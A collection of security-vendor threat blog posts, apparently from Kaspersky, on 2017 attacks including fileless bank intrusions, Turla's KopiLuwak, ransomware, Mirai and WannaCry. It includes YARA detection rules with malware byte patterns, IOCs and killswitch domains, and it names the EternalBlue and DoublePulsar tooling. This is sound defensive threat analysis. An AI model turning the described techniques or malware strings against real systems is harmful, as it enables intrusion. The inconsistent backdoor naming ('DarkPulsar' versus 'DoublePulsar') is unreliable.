In our predictions for 2017 we forecast an increase in ephemeral infections – memory-resident malware intended for general reconnaissance, with no interest in persistence. In highly sensitive environments, where stealth is essential, attackers might well be satisfied to operate until the malware is cleared from memory during a re-boot, since this will reduce the likelihood of the malware being detected and their operation being compromised.

During a recent incident response our experts found that both memory-based malware and tunnelling had been implemented in a bank attack using standard Windows utilities such as SC and NETSH. The threat was originally discovered by the bank’s security team after they detected Meterpreter code inside the physical memory of a domain controller. We participated in the forensic analysis following this detection and discovered the use of PowerShell scripts within the Windows registry. We also discovered that the NETSH utility was used for tunnelling traffic from the victim’s host to the attacker´s C2.

You can read the details of our investigation here.

Using the Kaspersky Security Network we found more than 100 enterprise networks infected with malicious PowerShell scripts in the registry.

We don’t know if they were all infected by the same attacker. During our analysis of the affected bank we learned that the attackers had used several third level domains and domains in the .GA, .ML and .CF ccTLDs. The benefit, for the attackers, of using such domains is that they are free and don’t include WHOIS information after the domain expiration. The fact that the attackers used the Metasploit framework, standard Windows utilities and unknown domains with no WHOIS information makes attribution almost impossible. The closest groups with the same TTPs are Carbanak and GCMAN.

Techniques like this are becoming more common, especially in attacks against financial institutions. Exfiltration of data can be achieved using standard utilities and some tricks, without the need for malware. Such ephemeral attacks highlight the need for sophisticated, proactive technology in anti-malware solutions, such as Kaspersky Lab’s System Watcher.

KopiLuwak: a new JavaScript payload from Turla

The Russian-speaking APT group Turla (known variously as ‘Snake’, ‘Uroburos’, ‘Venomous Bear’ and ‘KRYPTON’) has been active since at least 2007 (and maybe even longer). Its activities have been traced to many high-profile incidents, including the 2008 attack against the US Central Command (the Buckshot Yankee incident) and, more recently, the attack against the Swiss military contractor, RUAG. We’ve discuss its activities on a number of occasions (here, here, here and here). The group intensified its activities in 2014, targeting Ukraine, EU-related institutions, governments of EU countries, global foreign affairs ministries, media companies and possibly corruption-related targets in Russia. In 2015 and 2016 the group diversified its activities, switching from the Epic Turla watering-hole framework to the Gloog Turla framework, which is still active. The group also expanded its spear-phishing activities with the Skipper/WhiteAtlas attacks, which made use of new malware. Recently, the group has intensified its satellite-based C2 registrations ten-fold compared to the 2015 average.

In January, John Lambert from Microsoft (@JohnLaTwC) tweeted about a malicious document that dropped a ‘very interesting .JS backdoor‘. Since the end of November 2016, Kaspersky Lab has observed Turla using this new JavaScript payload and specific macro variant. This is a technique we’ve observed before with Turla’s ‘ICEDCOFFEE’ payloads (detailed in a private report from June 2016 which is available to customers of Kaspersky APT Intelligence Services). While the delivery method is somewhat similar to ICEDCOFFEE, the JavaScript differs greatly and appears to have been created mainly to avoid detection.

The targeting of this new malware is consistent with previous campaigns conducted by Turla, focusing on foreign ministries and other governmental organizations throughout Europe. However, the frequency is much lower than ICEDCOFFEE, with victim organizations numbering in the single digits (as of January 2017). We strongly believe that this new JavaScript will be used more heavily in the future as a first-stage delivery mechanism and victim profiler.

The malware is fairly simplistic but flexible in its functionality, running a standard batch of profiling commands on the victim and also allowing the attackers to run arbitrary commands via Wscript.

Full details on KopiLuwak can be found here.

The document contains a malicious macro that’s very similar to macros used previously by Turla to deliver Wipbot, Skipper, and ICEDCOFFEE. The Turla group continues to rely heavily on embedded macros in Office documents. This might seem to be a basic tactic for such a sophisticated attacker, but it has helped them to compromise high-value targets. We would advise organisations to disable macros and not allow employees to enable such content unless it’s absolutely necessary.

The lure document above shows an official letter from the Qatar Embassy in Cyprus to the Ministry of Foreign Affairs in Cyprus. Based on the name of the document, ‘National Day Reception (Dina Mersine Bosio Ambassador’s Secretary).doc’, we presumed it may have been sent from the Qatar Ambassador’s secretary to the Ministry of Foreign Affairs, possibly indicating that the Turla group already had control of at least one system within Qatar’s diplomatic network.

The best defence against targeted attacks is a multi-layered approach that combines traditional anti-virus technologies with patch management, host intrusion detection and a default-deny whitelisting strategy. According to a study by the Australian Signals Directorate, 85 per cent of targeted attacks analysed could have been stopped by employing four simple mitigation strategies: application whitelisting, updating applications, updating operating systems and restricting administrative privileges.

Malware stories Stand and deliver: your money or your files!

In eighteenth century Britain (and elsewhere) travellers could be waylaid by a highwayman – a thief who held up coaches on the public highway and demanded that those on board hand over their money and other valuables. The highwayman would typically issue the challenge – ‘Stand and deliver: your money or your life! Ransomware is a version of such highway robbery for the digital age – with the difference that it’s our data that is held hostage and the ‘highwayman’s’ ransom demand is displayed on the screen.

There were more than 1,445,000 ransomware attacks in 2016, on businesses as well as individuals. The huge growth we’ve seen in recent years is fuelled by the success that cybercriminals have had with this type of malware – ransomware is easily monetised and involves a low investment cost per victim.

Out of the 62 new crypto-ransomware families that we discovered last year, at least 47 were developed by Russian-speaking cybercriminals. In February, we published a report on the Russian ransomware economy. It’s clear that the development of ransomware is underpinned by a flexible and user-friendly underground eco-system that allows criminals to launch attack campaigns with almost any level of computer skills and financial resources. Our researchers identified three levels of criminal involvement in the ransomware business.

The first is the creation and update of ransomware families. This requires advanced code-writing skills; and those involved are the most privileged members of the ransomware underground, since they are the key to the whole eco-system. The second is the development and support of affiliate programmes for distributing ransomware. This is done by criminal communities that deliver the ransomware using ancillary tools such as exploit kits and spam. The third is partner participation in such affiliate programmes. Those involved are on the lowest rung of the ladder and their role is to help the owners of affiliate programmes to spread the malware, in return for a cut of the proceeds: the only qualifications required are a willingness to carry out illegal activities and the money to join the affiliate scheme.

We were able to identify several large groups of Russian-speaking criminals specialising in crypto-ransomware development and distribution. These groups might bring together tens of different partners, each with their own affiliate programme. The list of their targets includes not only individual consumers, but small- and medium-sized businesses and even enterprises. While initially targeting organisations in the Russian Federation, these groups are now shifting their attention to companies in other parts of the world. The daily revenue of an affiliate programme might reach tens, or even hundreds, of thousands of dollars: of this, around 60 per cent stays in the pockets of the criminals as net profit.

In March we reported a new ransomware family used in targeted attacks against organizations, named PetrWrap. One they have gained a foothold in the target company, the attackers use the PsExec tool to install ransomware on all computers. One especially interesting aspect of this ransomware is that the attackers use the well-known Petya ransomware to encrypt data. Although Petya makes use of a ‘Ransomware-as-a-Service’ model, the attackers didn’t make use of this facility. Instead, they include a sample of the Petya ransomware inside the data section of the malware and use Petya to infect their victims’ computers. A special module patches the original Petya ransomware ‘on the fly’. This allows the attackers to hide the fact that they are using Petya.

Targeted ransomware attacks on organizations are becoming more common. The groups using ransomware in targeted attacks typically try to find vulnerable servers or servers with unprotected RDP access. After penetrating an organization’s network they use special frameworks such as Mimikatz to obtain the necessary credentials to install ransomware throughout the network. To protect against such attacks, organizations need to keep their server software up-to-date, use secure passwords for remote access systems, install security solutions on their servers and use security solutions with behavioral detection components on all their endpoints.

The Internet of broken Things

You might remember that in October 2016, cybercriminals used a botnet of Internet-connected home devices (such as IP-enabled cameras, DVRs, CCTV cameras and printers) to launch DDoS attack. To do this, the attackers infected vulnerable devices with the Mirai malware. This operation was significant not only because it misused Internet of Things (IoT) devices, but also because the DDoS traffic generated exceeded all previous volumes. The DDoS took down a portion of the Internet and was severe enough to initiate investigations by the FBI and the DHS. At the time, they had not ruled out activity by a nation state, because of the overall power of the Mirai botnets. But even the scale of these attacks didn’t require the work of a nation state. Time will tell if nation states choose to hide their destructive activity in plain sight in the IoT – the capabilities are clearly available. It’s possible that we might see a nation state tempted to take down wide swaths of the Internet using this juvenile toolset.

In February, we looked at reports of a cross-platform Win32-based Mirai spreader and botnet in the wild. Some of the public discussions around this suggested that an entirely new IoT bot is spreading to and from Windows devices. But this is not the case: rather, a previously active Windows botnet is now spreading a Mirai bot variant. We hadn’t seen this spreader variant pushing Mirai downloaders until January. But this Windows bot itself is not new. The Windows bot’s method for distributing Mirai is very limited as well – it only delivers the Mirai bots to a Linux host from a Windows host if it successfully brute-forces a remote telnet connection.

So we haven’t seen a sensational hop from Linux Mirai to Windows Mirai. But we do have a new threat and the use of Windows to spread Mirai to previously unavailable resources. In particular, vulnerable SQL servers running Windows can be a problem, because they can be Internet-facing, and have access to private network connected IP-based cameras, DVR, media center software and other internal devices.

It’s unfortunate to see any sort of Mirai crossover between the Linux and Windows platforms. Just as the release of source code for the Zeus banking Trojan brought years of problems for the online community, the release of Mirai IoT bot source code will also bring major problems to the Internet infrastructure for years to come. This is just the start.

In response to the huge problem this poses to the Internet infrastructure, over the past few months our team and CERT have participated in multiple successful C2 take-down efforts that otherwise have posed problems for partners simply providing notifications. While some security researchers may describe these take-downs as ‘whack a mole’, these efforts resulted in relief from Gbps DDoS storms for major networks. We’re happy to partner with more network operators to use our connections with CERTs, law enforcement agencies and other partners around the world, to build on this success.

You can read our report here.

This attack, like others that involve compromised IoT devices, exploited the fact that many people don’t change the manufacturer’s default credentials when they buy a smart device. This makes it easy for attackers to access the device – they simply have to try the known default password. In addition, there are no firmware updates for many devices. IoT devices are also an attractive target for cybercriminals because they often have 24/7 connectivity.

These days we’re surrounded by smart devices. This includes everyday household such as telephones, televisions, thermostats, refrigerators, baby monitors, fitness bracelets and children’s toys. But it also includes cars, medical devices CCTV cameras and parking meters. Some homes are even designed now with the ‘smartness’ built-in. Ubiquitous Wi-Fi brings all these devices online, as part of the Internet of things (IoT). These things are designed to make our lives easier. Since everyday objects are able to collect and transfer data automatically, without human interaction, they can operate more effectively and efficiently. However, a world of connected everyday objects means a bigger attack surface for cybercriminals. Unless IoT devices are secured, the personal data they exchange can be compromised, they can be subject to an attack, or they can be used in an attack.

One of the problems associated with IoT devices is that they are often everyday objects that have provided useful functions for much longer than the Internet has been around. So we don’t see the computer within the object. Nowhere is this truer than with children’s toys. In the last two years security and privacy concerns around children’s toys have been raised on a number of occasions (you can read more here, here and here).

In February, similar concerns were raised about the My Friend Cayla doll. The Federal Network Agency, the German telecommunications watchdog, suggested that parents that had bought the doll should destroy it because of these worries.

The best advice for anyone using connected/IoT devices at home, is to ensure the default passwords on all devices are changed (using unique, complex passwords) to prevent them being remotely accessed – this includes home routers, which are the gateway to your home network. The temptation may be for people to want to disconnect all devices in light of such news, but in today’s increasingly connected world, that’s not realistic; although it’s always good to review the functionality of a smart device and disable any functions that you don’t actually need. However, good password ‘housekeeping’ goes a long way to keeping cybercriminals away from your devices. This kind of large scale attack also highlights the need for manufacturers to consider security by design, rather as an afterthought.

Data breaches and data dumps

We’ve become accustomed to seeing a steady stream of security breaches month after month; and this quarter has been no exception, including attacks on Barts Health Trust, Sports Direct, Intercontinental Hotels Group and ABTA.

Some breaches result in the theft of sensitive data, highlighting the fact that many companies fail to take adequate steps to defend themselves. Any organisation that holds personal data has a duty of care to secure it effectively. This includes hashing and salting customer passwords and encrypting other sensitive data.

Consumers can limit the damage of a security breach at an online provider by ensuring that they choose passwords that are unique and complex: an ideal password is at least 15 characters long and consists of a mixture of letters, numbers and symbols from the entire keyboard. One alternative is to use a password manager application to handle all this automatically. It’s also a good idea to use two-factor authentication, where an online provider offers this feature – requiring customers to enter a code generated by a hardware token, or one sent to a mobile device, in order to access a site, or at least in order to make changes to account settings.

The public dumping of sensitive information has been gathering pace in recent years. This is a trend that we predicted in 2015. ‘Hacktivists’, criminals and state-sponsored attackers alike have embraced the strategic dumping of private pictures, information, customer lists and code to shame their targets. While some of these attacks are strategically targeted, some are also the product of opportunism, taking advantage of poor cyber-security.

In February, WikiLeaks released more than 8,000 documents, referred to as ‘Vault 7’, that describe tactics and tools used to break into computing devices from leading manufacturers, to circumvent installed security solutions and even lay a trail of false flags. The first batch of documents released (dated between 2013 and 2016) included documentation on how to compromise major browsers, smartphones and computers running Windows, Mac OS and Linux. Subsequent dumps of data focused on the development of malware to compromise firmware running on Mac OS and iOS, especially EFI and UEFI firmware; and on methods to evade detection. You can read more here and here.

We can only expect this practice to continue to grow in the future. Consumers and businesses alike should use encryption to secure sensitive data and should ensure that they apply updates as soon as they become available, to reduce the chances that their data will be stolen and dumped online.

WannaCry and Lazarus Group – the missing link?

Malware Alerts - Mon, 05/15/2017 - 15:32

Moments ago, Neel Mehta, a researcher at Google posted a mysterious message on Twitter with the #WannaCryptAttribution hashtag:

The cryptic message in fact refers to similarity between samples that have shared code between themselves. The two samples Neel refers to post are:

  • A WannaCry cryptor sample from February 2017 which looks like a very early variant
  • A Lazarus APT group sample from February 2015

The similarity can be observed in the screenshot below, taken between the two samples, with similar code highlighted:

So, what does it all mean?

I know about Wannacry, but what is Lazarus?

We wrote about the Lazarus group extensively and presented together with our colleagues from BAE and SWIFT at the Kaspersky Security Analyst Summit (SAS 2017). See:

Among other things, the Lazarus group was responsible for the Sony Wiper attack, the Bangladesh bank heist and the DarkSeoul operation.

We believe Lazarus is not just “yet another APT actor”. The scale of the Lazarus operations is shocking. The group has been very active since 2011 and was originally disclosed when Novetta published the results of its Operation Blockbuster research. During that research, which we also participated in, hundreds of samples were collected and show that Lazarus is operating a malware factory that produces new samples via multiple independent conveyors.

Is it possible this is a false flag?

In theory anything is possible, considering the 2015 backdoor code might have been copied by the Wannacry sample from February 2017. However, this code appears to have been removed from later versions. The February 2017 sample appears to be a very early variant of the Wannacry encryptor. We believe a theory a false flag although possible, is improbable.

What conclusions can we make?

For now, more research is required into older versions of Wannacry. We believe this might hold the key to solve some of the mysteries around this attack. One thing is for sure — Neel Mehta’s discovery is the most significant clue to date regarding the origins of Wannacry.

Are we sure the early February variant is the precursor to the later attacks?

Yes, it shares the same the list file extension targets for encryption but, in the May 2017 versions, more extensions were added:

> .accdb
> .asm
> .backup
> .bat
> .bz2
> .cmd
> .der
> .djvu
> .dwg
> .iso
> .onetoc2
> .pfx
> .ps1
> .sldm
> .sldx
> .snt
> .sti
> .svg
> .sxi
> .vbs
> .vcd

They also removed an older extension: “.tar.bz2” and replaced it with just “.bz2”
We strongly believe the February 2017 sample was compiled by the same people, or by people with access to the same sourcecode as the May 2017 Wannacry encryptor used in the May 11th wave of attacks.

So. Now what?

We believe it’s important that researchers around the world investigate these similarities and attempt to discover more facts about the origin of Wannacry. Looking back to the Bangladesh attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to links them together with high confidence. Further research can be crucial to connecting the dots.

Has anyone else confirmed this?

Yes, Matt Suiche from Comae Technologies confirmed the same similarity based on Neel’s samples:

Can you share the YARA rule used to find this?

Yes, of course. Here you go:

rule lazaruswannacry {

meta:

description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
date = "2017-05-15"
reference = "https://twitter.com/neelmehta/status/864164081116225536"
author = "Costin G. Raiu, Kaspersky Lab"
version = "1.0"
hash = "9c7c7149387a1c79679a87dd1ba755bc"
hash = "ac21c8ad899727137c4b94458d7aa8d8"

strings:

$a1={
51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01
46 56 E8
}

$a2={
03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
2B C0 2C C0 FF FE
}

condition:

((uint16(0) == 0x5A4D)) and (filesize < 15000000) and all of them }

WannaCry FAQ: What you need to know today

Malware Alerts - Mon, 05/15/2017 - 13:06

Friday May 12th marked the start of the dizzying madness that has been ‘WannaCry’, the largest ransomware infection in history. Defenders have been running around with their heads on fire trying to get ahead of the infection and to understand the malware’s capabilities. In the process, a lot of wires have gotten crossed and we figured it’s time to sit down and set the record straight on what we know, what we wish we knew, and what the near future might hold for us going forward.

In the interest of standing by our stated mission, ‘We’re Here to Save the World’, we’re also sharing IOCs and Yara rules below.

Please remember: Patch, Patch, Patch!

For a refresher on the weekend of madness, please see our original blog.

How did it all start? Was there an e-mail attack vector? Phishing link?

To date, we could not find an e-mail attack vector for Wannacry. We are still investigating leads that suggest compromised sites were used to target some customers. So far, we can confirm that our users are getting attacked using an implementation of the famous EternalBlue exploit leaked by the Shadowbrokers in April. The exploit installs the DarkPulsar backdoor, which is further leveraged to infect a system. Even if the EternalBlue exploit fails in the first place, the attack code still tries to leverage the DarkPulsar backdoor which might have been installed in a previous attack.

Perhaps the main reason why Wannacry was so successful is the fact that the EternalBlue exploit works over the Internet without requiring any user interaction. It works on top of TCP port 445. Last week, our internet facing sensors registered an uptick in port 445 connections on Thursday May 11th, one day before the major outbreak noted on Friday. This means it’s possible the worm was released on Thursday, possibly even late Wednesday evening. The uptick in Port 445 traffic is also confirmed by the SANS DShield project’s graphics.

Port 445 connections per day

I’ve seen conflicting reports about the exploit. Is it targeting SMBv1 or SMBv2?

The vulnerability exploited by the EternalBlue tool lies in the SMBv1 implementation. However, to exploit it, the tool also uses SMBv2. This means that it uses both SMBv1 and SMBv2 packets during the attack. Disabling SMBv1 or SMBv2 prevents the infection; however, while disabling SMBv1 (an old protocol) has no significant impact on modern systems, disabling SMBv2 can cause problems. This is why it is highly recommended to disable SMBv1 for the current attack and for the future.

What is the killswitch? Can we rely on it?

The worm-spreading part of the Wannacry – which is designed to infect other computers — has a special check at the beginning. It tries to connect to a hardcoded website on the Internet and if the connection FAILS, it continues with the attack. If the connection WORKS, it exits. Thus, by registering this domain and pointing it to a sinkhole server, a researcher from the U.K. successfully slowed the spread of the worm.

Can we ultimately rely on this? Well, there has been a lot of speculation about the effectiveness of this killswitch. On the one hand, it does stop further spread of the infection. However, only if the worm is able to connect to the Internet. Many corporate networks have firewalls blocking internet connections unless a proxy is used. For these, the worm will continue to spread in the local network. On the other hand, there is nothing stopping the attackers from releasing a new variant that does not implement a killswitch.

Why did the attackers add a killswitch in the first place?

This is a very good question. Some possible explanations:

  • They were afraid the attack might get out of control and wanted a way to stop the propagation.
  • They coded it as an anti-sandbox check (some sandboxes emulate all internet connections and make them appear to work even if they do not exist)
Has this attack been contained?

We started tracking the attack early today to determine if it’s spiking again. Since 06.00 UTC/GMT Monday 15th May, we observed a sixfold decrease in attacks across our customer base than during the first hours on Friday May 12th.

This suggests infections based on current variants may be under control.

Wait, what do you mean by “current variants”? Is there a second wave of attacks?

Over the weekend two notable variants emerged. Kaspersky Lab does not believe any of these variants were created by the original authors –they were most likely patched by others keen to exploit the attack separately and independently.

The first one started spreading on Sunday morning, at around 02.00 UTC/GMT and was patched to connect to a different domain (ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com). Kaspersky Lab has so far noted three victims for this variant, located in Russia and Brazil.

Code patch from d724d8cc6420f06e8a48752f0da11c66

The second variation that appeared during the weekend appears to have been patched to remove the killswitch. This variant does not appear to be spreading, possibly due to a bug.

Sample MD5 In the wild Killswitch present? Domain killswitch d5dcd28612f4d6ffca0cfeaefd606bcf Yes Yes ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com d724d8cc6420f06e8a48752f0da11c66 No No n/a Does the second wave contain the killswitch?

The d5dcd28612f4d6ffca0cfeaefd606bcf sample distributed on Sunday night (first reports around 02:00am UTC) contains a killswitch domain. This domain (ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com) is only two bytes different from the original:

Sample MD5 Killswitch domain Old iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com New (see above) ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com

The second domain was sinkholed by Matt Suiche of Comae Technologies, who reported stopping about 10,000 infections from spreading further:

How much money has been paid by victims so far?

WannaCry Wallet Tracker as of Monday May 15th.

Multiple attempts have been made at tracking transactions to known bitcoin wallets used by WannaCry. The tracker ‘howmuchwannacrypaidthehacker.com’ has the latest count (at the time of writing) at upwards of 31BTC, or close to $55,000 USD.

What will the attackers do with the money?

An Evil Lair?

We believe it’s unlikely the attackers will be able to do anything with the bitcoins, considering the current high level of interest in this story. Even though the wallet owners are anonymous, the transactions are visible to everybody and can be tracked. Once the bitcoins reach a payment point, where the attackers use them to purchase something in the real world, that payment can be tracked to shipment details, services, or other IPs, effectively, increasing the chances of getting caught.

Does payment guarantee the recovery of files?

We don’t know. Since we are dealing with criminals, there is no reason to expect them to honor the deal, especially in a situation where all the world is closely tracking this campaign and disrupting it as much as possible. Paying the ransom amounts to funding the next wave.

Do not pay the ransom.

How does the worm spread inside a local corporate network?

The malware includes a worm functionality that tries to infect other unpatched Windows machines inside the local network, generating large SMB traffic. Basically it scans LAN IPS for SMB/445 port open. Where it finds any, it delivers the EternalBlue exploit.

Have any other exploits been used?

The only exploit observed so far being used in this campaign is the EternalBlue exploit leaked by Shadow Brokers.

Interestingly, once the malware infects a computer, it runs shellcode to drop and execute its payload. The payload code is available for both 32- and 64-bit systems, runs in ring-0, and seems to be based on the DoublePulsar backdoor leaked by Shadow Brokers in their ‘Lost in Translation‘ blog post .

Can you explain what happens for victims behind a proxy?

The killswitch prevented the main strain of the malware from encrypting the files in the infected computers, basically by checking if a given domain was registered or not. However WannaCry does not check for the presence of any proxy, so it is likely that samples running inside of an organization will not be able to reach the killswitch domain, even if it’s already registered. That means their files will continue to be encrypted.

Who is behind the attack? Is it just one group or multiple groups of attackers?

The attackers didn’t leave many clues about their identities or whereabouts. We are still investigating several possible leads and we’re sharing all relevant information with law enforcement.
At the moment, we haven’t seen any indicators that point towards any known groups. Some early variants of the Wannacry ransomware seem to have been used in March 2017, maybe some as early as February 2017. We are still researching these early variants, scraping them for clues.

Is this primarily targeting Russians?

The spread of the worm does not target a specific geolocation. The distribution is random, selecting IPs from the internet and affected local networks. Nevertheless, a large amount of the infections are in Russia, about 66% of the total attacks we have seen. The skew in distribution is likely due a combination of our increased visibility into Russia as well as a likely prevalence of unpatched systems.

Are you working with law enforcement to help contain this attack?

Yes, we are working with several law enforcement agencies and have provided them with information to help mitigate the attack.

Microsoft is warning against governments stockpiling cyberweapons and called for a Digital Geneva Convention. Will this help?

Kaspersky Lab supports Brad Smith’s call-to-action for governments and industries around the world to take critically important steps to help make a better digital future for all. We strongly believes the world needs an international digital convention and support with the creation of a neutral international cyber organization and firmly supports a pledge from companies to not conduct offensive cyber activities and protect their users from all cyberattacks. For more details please see: https://www.forbes.com/sites/eugenekaspersky/2017/02/15/a-digital-geneva-convention-a-great-idea/#abeff891e6e1

What should I do right now to make sure my organization is protected?

Our recommendations:

  • Install the MS Security Bulletin patches for MS17-010. Please note that Microsoft also released an emergency patch for Windows XP, which is out of support!
  • Disable SMBv1.
  • Backup your data on a regular basis and be sure to store the backups offline.
  • Limit administrative privileges in the network.
  • Segment your network.
  • Make sure all nodes have security software installed and updated.
  • Kaspersky users: make sure System Watcher is enabled and the software updated. System watcher will ensure rollback of any encrypted files.
  • For those who do not use Kaspersky Lab solutions, we suggest installing the free Kaspersky Anti-Ransomware Tool for business (KART).
  • WannaCry is also targeting embedded systems. We recommend ensuring that dedicated security solutions for embedded systems are installed, and that they have both anti-malware protection and Default Deny functionality enabled.
Did Kaspersky block the attack for every target that had the software installed?

Our recent products include a module named System Watcher, which is designed to stop ransomware attacks. It was successful in blocking the damage from Wannacry, proving once again its effectiveness. Additionally, our products include specific detection subroutines which stopped the spreading of the attacks inside local networks. Since Saturday, our products also blocked the network level attacks through IDS components.

I’m running Windows XP – how can I protect myself?

First of all, stop running Windows XP. It is a 16-year-old operating system which is no longer officially supported by Microsoft. We recommend you upgrade to Windows 8.1 or 10. If you absolutely need to run Windows XP, you can download the emergency patch from Microsoft here:

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

However, prepare for a rough ride ahead, as other vulnerabilities will most likely remain open and leave you vulnerable in the future to other attacks.

Do you have YARA rules and IOCs for everything we know so far?

Multiple YARA rules have been released so far, with varying degrees of accuracy. Florian Roth has published a good Wannacry YARA set on his GitHub. Another set of YARA rules has been published by US-CERT, however, they produce false positives and are not recommended at this time. Our own YARA rules can be found below.

Indicators of Compromise

Network traffic to the following hosts:

  • iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
  • ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com

Filenames on disk:

  • mssecsvc.exe
  • taskdl.exe
  • taskse.exe
  • wannacry.exe
  • tasksche.exe

Hashes for the variants with different kill switches:

  • d5dcd28612f4d6ffca0cfeaefd606bcf
  • d724d8cc6420f06e8a48752f0da11c66

For more malware hashes, please see our previous blogpost.

Yara rules

rule crimeware_Wannacry_worm {

meta:

description = "Find Wannacry worm carrier samples"
date = "2017-05-14"
version = "1.0"
author = "Kaspersky Lab"
tlp = "GREEN"

strings:

$a0="__TREEID__PLACEHOLDER__" ascii wide fullword
$a1="__USERID__PLACEHOLDER__" ascii wide fullword
$a2="userid" ascii wide fullword
$a3="treeid" ascii wide fullword
$a4="__TREEPATH_REPLACE__" ascii wide fullword
$a5="\\\\%s\\IPC$" ascii wide fullword
$a6="Microsoft Base Cryptographic Provider v1.0" ascii wide fullword
$a7="mssecsvc2.0" ascii wide fullword
$a8="Microsoft Security Center (2.0) Service" ascii wide fullword
$a9="%s -m security" ascii wide fullword
$a10="C:\\%s\\qeriuwjhrf" ascii wide fullword
$a11="tasksche.exe" ascii wide fullword

condition:

((uint16(0) == 0x5A4D)) and (filesize < 15000000) and (8 of ($a*)) }
rule crimeware_Wannacry_ransomware {

meta:

description = "Find Wannacry ransomware module"
date = "2017-05-14"
version = "1.1"
author = "Kaspersky Lab"
tlp = "GREEN"

strings:

//list of extensions targeted by the ransomware module
$a1={
2E 00 64 00 65 00 72 00 00 00 00 00 2E 00 70 00
66 00 78 00 00 00 00 00 2E 00 6B 00 65 00 79 00
00 00 00 00 2E 00 63 00 72 00 74 00 00 00 00 00
2E 00 63 00 73 00 72 00 00 00 00 00 2E 00 70 00
31 00 32 00 00 00 00 00 2E 00 70 00 65 00 6D 00
00 00 00 00 2E 00 6F 00 64 00 74 00 00 00 00 00
2E 00 6F 00 74 00 74 00 00 00 00 00 2E 00 73 00
78 00 77 00 00 00 00 00 2E 00 73 00 74 00 77 00
00 00 00 00 2E 00 75 00 6F 00 74 00 00 00 00 00
2E 00 33 00 64 00 73 00 00 00 00 00 2E 00 6D 00
61 00 78 00 00 00 00 00 2E 00 33 00 64 00 6D 00
00 00 00 00 2E 00 6F 00 64 00 73 00 00 00 00 00
2E 00 6F 00 74 00 73 00 00 00 00 00 2E 00 73 00
78 00 63 00 00 00 00 00 2E 00 73 00 74 00 63 00
00 00 00 00 2E 00 64 00 69 00 66 00 00 00 00 00
2E 00 73 00 6C 00 6B 00 00 00 00 00 2E 00 77 00
62 00 32 00 00 00 00 00 2E 00 6F 00 64 00 70 00
00 00 00 00 2E 00 6F 00 74 00 70 00 00 00 00 00
2E 00 73 00 78 00 64 00 00 00 00 00 2E 00 73 00
74 00 64 00 00 00 00 00 2E 00 75 00 6F 00 70 00
00 00 00 00 2E 00 6F 00 64 00 67 00 00 00 00 00
2E 00 6F 00 74 00 67 00 00 00 00 00 2E 00 73 00
78 00 6D 00 00 00 00 00 2E 00 6D 00 6D 00 6C 00
00 00 00 00 2E 00 6C 00 61 00 79 00 00 00 00 00
2E 00 6C 00 61 00 79 00 36 00 00 00 2E 00 61 00
73 00 63 00 00 00 00 00 2E 00 73 00 71 00 6C 00
69 00 74 00 65 00 33 00 00 00 00 00 2E 00 73 00
71 00 6C 00 69 00 74 00 65 00 64 00 62 00 00 00
2E 00 73 00 71 00 6C 00 00 00 00 00 2E 00 61 00
63 00 63 00 64 00 62 00 00 00 00 00 2E 00 6D 00
64 00 62 00 00 00 00 00 2E 00 64 00 62 00 00 00
2E 00 64 00 62 00 66 00 00 00 00 00 2E 00 6F 00
64 00 62 00 00 00 00 00 2E 00 66 00 72 00 6D 00
00 00 00 00 2E 00 6D 00 79 00 64 00 00 00 00 00
2E 00 6D 00 79 00 69 00 00 00 00 00 2E 00 69 00
62 00 64 00 00 00 00 00 2E 00 6D 00 64 00 66 00
00 00 00 00 2E 00 6C 00 64 00 66 00 00 00 00 00
2E 00 73 00 6C 00 6E 00 00 00 00 00 2E 00 73 00
75 00 6F 00 00 00 00 00 2E 00 63 00 73 00 00 00
2E 00 63 00 00 00 00 00 2E 00 63 00 70 00 70 00
00 00 00 00 2E 00 70 00 61 00 73 00 00 00 00 00
2E 00 68 00 00 00 00 00 2E 00 61 00 73 00 6D 00
00 00 00 00 2E 00 6A 00 73 00 00 00 2E 00 63 00
6D 00 64 00 00 00 00 00 2E 00 62 00 61 00 74 00
00 00 00 00 2E 00 70 00 73 00 31 00 00 00 00 00
2E 00 76 00 62 00 73 00 00 00 00 00 2E 00 76 00
62 00 00 00 2E 00 70 00 6C 00 00 00 2E 00 64 00
69 00 70 00 00 00 00 00 2E 00 64 00 63 00 68 00
00 00 00 00 2E 00 73 00 63 00 68 00 00 00 00 00
2E 00 62 00 72 00 64 00 00 00 00 00 2E 00 6A 00
73 00 70 00 00 00 00 00 2E 00 70 00 68 00 70 00
00 00 00 00 2E 00 61 00 73 00 70 00 00 00 00 00
2E 00 72 00 62 00 00 00 2E 00 6A 00 61 00 76 00
61 00 00 00 2E 00 6A 00 61 00 72 00 00 00 00 00
2E 00 63 00 6C 00 61 00 73 00 73 00 00 00 00 00
2E 00 73 00 68 00 00 00 2E 00 6D 00 70 00 33 00
00 00 00 00 2E 00 77 00 61 00 76 00 00 00 00 00
2E 00 73 00 77 00 66 00 00 00 00 00 2E 00 66 00
6C 00 61 00 00 00 00 00 2E 00 77 00 6D 00 76 00
00 00 00 00 2E 00 6D 00 70 00 67 00 00 00 00 00
2E 00 76 00 6F 00 62 00 00 00 00 00 2E 00 6D 00
70 00 65 00 67 00 00 00 2E 00 61 00 73 00 66 00
